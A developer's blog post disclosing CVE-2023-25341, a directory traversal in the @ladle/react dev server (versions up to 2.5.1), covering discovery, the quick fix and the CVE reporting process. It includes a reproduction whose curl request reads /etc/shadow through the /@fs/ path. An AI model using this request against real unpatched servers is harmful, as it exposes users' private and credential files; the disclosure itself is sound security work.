An old CVE in ladle

โ† Back to home

So. About a year ago I found a CVE in @ladle/react <= 2.5.1, and have since struggled with publishing it. Whatโ€™s up with that?

Timeline

Discovery, reporting, fix deployed
Requested CVE ID

CVE assigned: CVE-2023-25341

Confusion ๐Ÿคจ
This post, apparently
CVE request for publication
CVE published ๐ŸŽ‰

Whatโ€™s a ladle?

Ladle is the software weโ€™re using for our styleguide at work - to develop, test and demo central components of our frontend. Iโ€™m generally very happy with it - compared with other software Iโ€™ve evaluated at the time it was quite flexible and easy to configure. It also played together with remix way better than storybook did.

Discovery

So it was the and I was at work fiddling with ladle.

I was debugging some react components and watched the network tab in the dev tools.

This led me to discover an issue that allowed attackers over the network to read arbitrary files from the machine where the ladle dev server was running with access rights of the user running it.

Fix

I reported the issue to the maintainer after work. From my perspective the issue was handled with clear understanding and speed and a fix was published only a few hours later with PR #324 with @ladle/react version 2.5.2.

Obtaining a CVE

While Iโ€™ve found and fixed some vulnerabilities in the past Iโ€™ve never reported a CVE before. Since the maintainer had no strong interest to pursue this I thought it a good chance to finally have a go at it.

When trying to report a CVE the first step is to figure out the correct channel for reporting.

There are entities called CVE Numbering Authorities (CNAs), which take care of some specific projects & products.

After figuring out that there was no dedicated CNA for ladle I decided to follow the report directions on cve.org and ended up reporting the vulnerability through Mitre.

In a repeat exercise today Iโ€™d probably prefer reporting the vulnerability through GitHub instead.

Admittedly GitHub only works for projects hosted there, and different project setups are very fine and good. However ladle is on GitHub and it seems to me that reporting through the feature there wouldโ€™ve been a clearer and faster path for me to follow.

I found several helpful resources towards reporting CVEs - among them slides for a talk called CVE IDs and how to get them. These were certainly helpful, but I still got stranded with the reporting process for quite some time.

I think the biggest hurdle for me here was to figure out what to do next. The vulnerability was fixed within 24h of me reporting it, but it took another month to obtain a CVE.

My current () idea is that I need to reference public information to publish the CVE entry. Hence this post - letโ€™s hope I can finally figure this out.

Iโ€™d somehow hoped that referencing the fix and noting in the initial report that it was already fixed would be sufficient to publish a CVE. This appears to not be the case. Good learning ๐Ÿ™‚.

What was the issue?

A directory traversal vulnerability in ladle <=2.5.1 dev server
allows an attacker on the same network
to read files accessible to the user via GET requests.

For reproduction letโ€™s consider the following experiment, where weโ€™ve got 3 files:

// package.json
{
  "dependencies": {
    "@ladle/react": "2.5.1"
  }
}
// .ladle/config.mjs
export default {
  stories: "src/**/*.stories.tsx",
  outDir: "./public/",
};
// src/hello.stories.tsx
export const World =
  () => <p>Hey</p>;

Letโ€™s run the ladle dev server in a container:

docker run --rm -p 61000:61000 -v `pwd`:/experiment -it node:latest bash
root@809900b50bc7:/experiment# npm install
root@809900b50bc7:/experiment# npx ladle dev
   โ•ญโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฎ
   โ”‚                                                    โ”‚
   โ”‚   ๐Ÿฅ„ Ladle.dev served at http://localhost:61000/   โ”‚
   โ”‚                                                    โ”‚
   โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ•ฏ

We can now visit our hello world story as expected:

Screenshot of the hello world example story

Looking at the dev tools network tab some requests sparked my attention for having stuff like @fs/experiment/node_modules in their paths:

Screenshot of the network tab in the chrome dev tools

๐Ÿค” Would this allow me to access more exciting files on my system?

curl http://localhost:61000/@fs/etc/shadow
root:*:19764:0:99999:7:::
daemon:*:19764:0:99999:7:::
bin:*:19764:0:99999:7:::
sys:*:19764:0:99999:7:::
sync:*:19764:0:99999:7:::
games:*:19764:0:99999:7:::
man:*:19764:0:99999:7:::
lp:*:19764:0:99999:7:::
mail:*:19764:0:99999:7:::
news:*:19764:0:99999:7:::
uucp:*:19764:0:99999:7:::
proxy:*:19764:0:99999:7:::
www-data:*:19764:0:99999:7:::
backup:*:19764:0:99999:7:::
list:*:19764:0:99999:7:::
irc:*:19764:0:99999:7:::
_apt:*:19764:0:99999:7:::
nobody:*:19764:0:99999:7:::
node:!:19766:0:99999:7:::

While the dev server states that it listened on localhost:61000 it was indeed not restricted to the loopback interface. This meant that all local networks Iโ€™ve been recently using could access all my local files with rights of my current user.

What went wrong?

A similar issue to this was previously seen in Nuxt dev server.

Existence of settings like server.fs.strict strikes me as a dangerous footgun. It is not immediately clear to me that this setting must exist or would frequently be desired to have.